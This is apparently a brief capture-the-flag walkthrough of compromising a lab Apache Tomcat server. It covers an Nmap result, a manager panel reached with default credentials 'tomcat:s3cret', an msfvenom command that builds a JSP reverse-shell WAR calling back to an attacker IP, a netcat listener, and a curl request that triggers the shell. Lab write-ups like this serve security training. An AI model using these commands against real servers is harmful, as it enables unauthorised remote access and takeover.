Nmap

PORT     STATE SERVICE REASON  VERSION
8080/tcp open  http    syn-ack Apache Tomcat/Coyote JSP engine 1.1

http://10.10.10.95:8080/manager/html Has admin login panel running http basic auth

HTTP basic authentication default creds: tomcat:s3cret

To get a reverse shell I used msfvenom to create a payload

msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.11 LPORT=4444 -f war -a x64 -o payload.war

then: nc -lnvp 4444 to start a listener

then: jar -tf payload.war

then: curl http://10.10.10.95:8080/payload/jobsmbdozaidck.jsp